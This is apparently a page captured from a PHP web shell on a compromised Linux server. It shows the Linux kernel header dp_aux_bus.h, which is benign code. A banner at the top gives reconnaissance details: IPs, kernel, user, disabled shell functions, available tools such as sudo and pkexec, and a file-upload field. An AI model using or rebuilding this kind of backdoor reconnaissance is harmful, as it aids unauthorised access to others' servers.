Server IP : 172.67.216.182 / Your IP : 172.68.164.147 Web Server : Apache System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/src/linux-headers-5.15.0-142/include/drm/ |
Upload File : |
/* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2021 Google Inc. * * The DP AUX bus is used for devices that are connected over a DisplayPort * AUX bus. The devices on the far side of the bus are referred to as * endpoints in this code. */ #ifndef _DP_AUX_BUS_H_ #define _DP_AUX_BUS_H_ #include <linux/device.h> #include <linux/mod_devicetable.h> /** * struct dp_aux_ep_device - Main dev structure for DP AUX endpoints * * This is used to instantiate devices that are connected via a DP AUX * bus. Usually the device is a panel, but conceivable other devices could * be hooked up there. */ struct dp_aux_ep_device { /** @dev: The normal dev pointer */ struct device dev; /** @aux: Pointer to the aux bus */ struct drm_dp_aux *aux; }; struct dp_aux_ep_driver { int (*probe)(struct dp_aux_ep_device *aux_ep); void (*remove)(struct dp_aux_ep_device *aux_ep); void (*shutdown)(struct dp_aux_ep_device *aux_ep); struct device_driver driver; }; static inline struct dp_aux_ep_device *to_dp_aux_ep_dev(struct device *dev) { return container_of(dev, struct dp_aux_ep_device, dev); } static inline struct dp_aux_ep_driver *to_dp_aux_ep_drv(struct device_driver *drv) { return container_of(drv, struct dp_aux_ep_driver, driver); } int of_dp_aux_populate_ep_devices(struct drm_dp_aux *aux); void of_dp_aux_depopulate_ep_devices(struct drm_dp_aux *aux); int devm_of_dp_aux_populate_ep_devices(struct drm_dp_aux *aux); #define dp_aux_dp_driver_register(aux_ep_drv) \ __dp_aux_dp_driver_register(aux_ep_drv, THIS_MODULE) int __dp_aux_dp_driver_register(struct dp_aux_ep_driver *aux_ep_drv, struct module *owner); void dp_aux_dp_driver_unregister(struct dp_aux_ep_driver *aux_ep_drv); #endif /* _DP_AUX_BUS_H_ */